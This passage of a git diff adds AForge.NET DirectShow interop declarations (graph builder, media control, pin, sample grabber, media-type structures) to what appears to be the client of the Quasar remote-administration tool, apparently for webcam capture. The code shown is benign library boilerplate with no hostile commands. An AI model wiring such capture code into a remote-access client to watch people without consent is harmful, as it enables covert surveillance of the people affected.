methods + + /// + /// + /// + /// + /// Moniker interface. + /// Bind context interface. + /// Name for the filter. + /// Receives source filter's IBaseFilter interface. + /// The caller must release the interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilterForMoniker( + [In] IMoniker moniker, + [In] IBindCtx bindContext, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter + ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin, + /// using a specified media type. + /// + /// + /// Pin to disconnect and reconnect. + /// Media type to reconnect with. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReconnectEx( + [In] IPin pin, + [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType + ); + + /// + /// Render an output pin, with an option to use existing renderers only. + /// + /// + /// Interface of the output pin. + /// Flag that specifies how to render the pin. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderEx( + [In] IPin outputPin, + [In] int flags, + [In] IntPtr context + ); + + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IGraphBuilder.cs new file mode 100755 index 0000000..8f3fc4e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IGraphBuilder.cs @@ -0,0 +1,198 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface provides methods that enable an application to build a filter graph. + /// + /// + [ComImport, + Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IGraphBuilder + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaControl.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaControl.cs new file mode 100755 index 0000000..c6ba357 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaControl.cs @@ -0,0 +1,118 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for controlling the flow of data through the filter graph. + /// It includes methods for running, pausing, and stopping the graph. + /// + /// + [ComImport, + Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaControl + { + /// + /// Runs all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( ); + + /// + /// Pauses all filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Stops all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Retrieves the state of the filter graph. + /// + /// + /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. + /// Ìariable that receives a member of the FILTER_STATE enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int timeout, out int filterState ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Name of the file to render + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( string fileName ); + + /// + /// Adds a source filter to the filter graph, for a specified file. + /// + /// + /// Name of the file containing the source video. + /// Receives interface of filter information object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); + + /// + /// Retrieves a collection of the filters in the filter graph. + /// + /// + /// Receives the IAMCollection interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_FilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Retrieves a collection of all the filters listed in the registry. + /// + /// + /// Receives the IDispatch interface of IAMCollection object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_RegFilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int StopWhenReady( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaEventEx.cs new file mode 100755 index 0000000..d01bee8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaEventEx.cs @@ -0,0 +1,126 @@ +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface inherits contains methods for retrieving event notifications and for overriding the + /// filter graph's default handling of events. + /// + [ComVisible( true ), ComImport, + Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaEventEx + { + /// + /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. + /// + /// Pointer to a variable that receives the event handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEventHandle( out IntPtr hEvent ); + + /// + /// Retrieves the next event notification from the event queue. + /// + /// + /// Variable that receives the event code. + /// Pointer to a variable that receives the first event parameter. + /// Pointer to a variable that receives the second event parameter. + /// Time-out interval, in milliseconds. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); + + /// + /// Waits for the filter graph to render all available data. + /// + /// + /// Time-out interval, in milliseconds. Pass zero to return immediately. + /// Pointer to a variable that receives an event code. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); + + /// + /// Cancels the Filter Graph Manager's default handling for a specified event. + /// + /// + /// Event code for which to cancel default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CancelDefaultHandling( int lEvCode ); + + /// + /// Restores the Filter Graph Manager's default handling for a specified event. + /// + /// Event code for which to restore default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RestoreDefaultHandling( int lEvCode ); + + /// + /// Frees resources associated with the parameters of an event. + /// + /// Event code. + /// First event parameter. + /// Second event parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); + + /// + /// Registers a window to process event notifications. + /// + /// + /// Handle to the window, or to stop receiving event messages. + /// Window message to be passed as the notification. + /// Value to be passed as the lParam parameter for the lMsg message. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); + + /// + /// Enables or disables event notifications. + /// + /// + /// Value indicating whether to enable or disable event notifications. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyFlags( int lNoNotifyFlags ); + + /// + /// Determines whether event notifications are enabled. + /// + /// + /// Variable that receives current notification status. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNotifyFlags( out int lplNoNotifyFlags ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPin.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPin.cs new file mode 100755 index 0000000..ceed73f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPin.cs @@ -0,0 +1,191 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is exposed by all input and output pins of DirectShow filters. + /// + /// + [ComImport, + Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPin + { + /// + /// Connects the pin to another pin. + /// + /// + /// Other pin to connect to. + /// Type to use for the connections (optional). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Makes a connection to this pin and is called by a connecting pin. + /// + /// + /// Connecting pin. + /// Media type of the samples to be streamed. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the current pin connection. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( ); + + /// + /// Returns a pointer to the connecting pin. + /// + /// + /// Receives IPin interface of connected pin (if any). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectedTo( [Out] out IPin pin ); + + /// + /// Returns the media type of this pin's connection. + /// + /// + /// Pointer to an structure. If the pin is connected, + /// the media type is returned. Otherwise, the structure is initialized to a default state in which + /// all elements are 0, with the exception of lSampleSize, which is set to 1, and + /// FixedSizeSamples, which is set to true. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves information about this pin (for example, the name, owning filter, and direction). + /// + /// + /// structure that receives the pin information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryPinInfo( [Out] out PinInfo pinInfo ); + + /// + /// Retrieves the direction for this pin. + /// + /// + /// Receives direction of the pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryDirection( out PinDirection pinDirection ); + + /// + /// Retrieves an identifier for the pin. + /// + /// + /// Pin identifier. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); + + /// + /// Queries whether a given media type is acceptable by the pin. + /// + /// + /// structure that specifies the media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Provides an enumerator for this pin's preferred media types. + /// + /// + /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumMediaTypes( IntPtr enumerator ); + + /// + /// Provides an array of the pins to which this pin internally connects. + /// + /// + /// Address of an array of IPin pointers. + /// On input, specifies the size of the array. When the method returns, + /// the value is set to the number of pointers returned in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); + + /// + /// Notifies the pin that no additional data is expected. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndOfStream( ); + + /// + /// Begins a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BeginFlush( ); + + /// + /// Ends a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndFlush( ); + + /// + /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. + /// + /// + /// Start time of the segment, relative to the original source, in 100-nanosecond units. + /// End time of the segment, relative to the original source, in 100-nanosecond units. + /// Rate at which this segment should be processed, as a percentage of the original rate. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int NewSegment( + long start, + long stop, + double rate ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPropertyBag.cs new file mode 100755 index 0000000..faea69d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPropertyBag.cs @@ -0,0 +1,53 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IPropertyBag interface provides an object with a property bag in + /// which the object can persistently save its properties. + /// + /// + [ComImport, + Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPropertyBag + { + /// + /// Read a property from property bag. + /// + /// + /// Property name to read. + /// Property value. + /// Caller's error log. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Read( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, + [In] IntPtr pErrorLog ); + + /// + /// Write property to property bag. + /// + /// + /// Property name to read. + /// Property value. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Write( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IReferenceClock.cs new file mode 100755 index 0000000..cb0328f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IReferenceClock.cs @@ -0,0 +1,87 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IReferenceClock interface provides the reference time for the filter graph. + /// + /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. + /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to + /// retrieve the current reference time, or to request notification of an elapsed time. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IReferenceClock + { + /// + /// The GetTime method retrieves the current reference time. + /// + /// + /// Pointer to a variable that receives the current time, in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetTime( [Out] out long pTime ); + + /// + /// The AdviseTime method creates a one-shot advise request. + /// + /// + /// Base reference time, in 100-nanosecond units. See Remarks. + /// Stream offset time, in 100-nanosecond units. See Remarks. + /// Handle to an event, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdviseTime( + [In] long baseTime, + [In] long streamTime, + [In] IntPtr hEvent, + [Out] out int pdwAdviseCookie ); + + /// + /// The AdvisePeriodic method creates a periodic advise request. + /// + /// + /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. + /// Time between notifications, in 100-nanosecond units. Must be greater than zero. + /// Handle to a semaphore, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdvisePeriodic( + [In] long startTime, + [In] long periodTime, + [In] IntPtr hSemaphore, + [Out] out int pdwAdviseCookie ); + + /// + /// The Unadvise method removes a pending advise request. + /// + /// + /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Unadvise( [In] int dwAdviseCookie ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabber.cs new file mode 100755 index 0000000..07854ac --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabber.cs @@ -0,0 +1,103 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve + /// individual media samples as they move through the filter graph. + /// + /// + [ComImport, + Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabber + { + /// + /// Specifies whether the filter should stop the graph after receiving one sample. + /// + /// + /// Boolean value specifying whether the filter should stop the graph after receiving one sample. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); + + /// + /// Specifies the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// Specifies the required media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// structure, which receives media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Specifies whether to copy sample data into a buffer as it goes through the filter. + /// + /// + /// Boolean value specifying whether to buffer sample data. + /// If true, the filter copies sample data into an internal buffer. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); + + /// + /// Retrieves a copy of the sample that the filter received most recently. + /// + /// + /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. + /// Pointer to a buffer to receive a copy of the sample, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); + + /// + /// Not currently implemented. + /// + /// + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentSample( IntPtr sample ); + + /// + /// Specifies a callback method to call on incoming samples. + /// + /// + /// interface containing the callback method, or NULL to cancel the callback. + /// Index specifying the callback method. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs new file mode 100755 index 0000000..4dc7340 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides callback methods for the method. + /// + /// + [ComImport, + Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabberCB + { + /// + /// Callback method that receives a pointer to the media sample. + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to the sample's IMediaSample interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SampleCB( double sampleTime, IntPtr sample ); + + /// + /// Callback method that receives a pointer to the sample bufferþ + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to a buffer that contains the sample data. + /// Length of the buffer pointed to by buffer, in bytes + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs new file mode 100755 index 0000000..ecb0739 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs @@ -0,0 +1,36 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface indicates that an object supports property pages. + /// + /// + [ComImport, + Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ISpecifyPropertyPages + { + /// + /// Fills a counted array of GUID values where each GUID specifies the + /// CLSID of each property page that can be displayed in the property + /// sheet for this object. + /// + /// + /// Pointer to a CAUUID structure that must be initialized + /// and filled before returning. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetPages( out CAUUID pPages ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Structures.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Structures.cs new file mode 100755 index 0000000..530283c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Structures.cs @@ -0,0 +1,518 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Drawing; + + // PIN_DIRECTION + + /// + /// This enumeration indicates a pin's direction. + /// + /// + [ComVisible( false )] + internal enum PinDirection + { + /// + /// Input pin. + /// + Input, + + /// + /// Output pin. + /// + Output + } + + // AM_MEDIA_TYPE + + /// + /// The structure describes the format of a media sample. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal class AMMediaType : IDisposable + { + /// + /// Globally unique identifier (GUID) that specifies the major type of the media sample. + /// + public Guid MajorType; + + /// + /// GUID that specifies the subtype of the media sample. + /// + public Guid SubType; + + /// + /// If true, samples are of a fixed size. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool FixedSizeSamples = true; + + /// + /// If true, samples are compressed using temporal (interframe) compression. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool TemporalCompression; + + /// + /// Size of the sample in bytes. For compressed data, the value can be zero. + /// + public int SampleSize = 1; + + /// + /// GUID that specifies the structure used for the format block. + /// + public Guid FormatType; + + /// + /// Not used. + /// + public IntPtr unkPtr; + + /// + /// Size of the format block, in bytes. + /// + public int FormatSize; + + /// + /// Pointer to the format block. + /// + public IntPtr FormatPtr; + + /// + /// Destroys the instance of the class. + /// + /// + ~AMMediaType( ) + { + Dispose( false ); + } + + /// + /// Dispose the object. + /// + /// + public void Dispose( ) + { + Dispose( true ); + // remove me from the Finalization queue + GC.SuppressFinalize( this ); + } + + /// + /// Dispose the object + /// + /// + /// Indicates if disposing was initiated manually. + /// + protected virtual void Dispose( bool disposing ) + { + if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) + { + Marshal.FreeCoTaskMem( FormatPtr ); + FormatSize = 0; + } + + if ( unkPtr != IntPtr.Zero ) + { + Marshal.Release( unkPtr ); + unkPtr = IntPtr.Zero; + } + } + } + + + // PIN_INFO + + /// + /// The structure contains information about a pin. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct PinInfo + { + /// + /// Owning filter. + /// + public IBaseFilter Filter; + + /// + /// Direction of the pin. + /// + public PinDirection Direction; + + /// + /// Name of the pin. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + } + + // FILTER_INFO + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct FilterInfo + { + /// + /// Filter's name. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + + /// + /// Owning graph. + /// + public IFilterGraph FilterGraph; + } + + // VIDEOINFOHEADER + + /// + /// The structure describes the bitmap and color information for a video image. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + // VIDEOINFOHEADER2 + + /// + /// The structure describes the bitmap and color information for a video image (v2). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader2 + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// Flags that specify how the video is interlaced. + /// + public int InterlaceFlags; + + /// + /// Flag set to indicate that the duplication of the stream should be restricted. + /// + public int CopyProtectFlags; + + /// + /// The X dimension of picture aspect ratio. + /// + public int PictAspectRatioX; + + /// + /// The Y dimension of picture aspect ratio. + /// + public int PictAspectRatioY; + + /// + /// Reserved for future use. + /// + public int Reserved1; + + /// + /// Reserved for future use. + /// + public int Reserved2; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + /// + /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 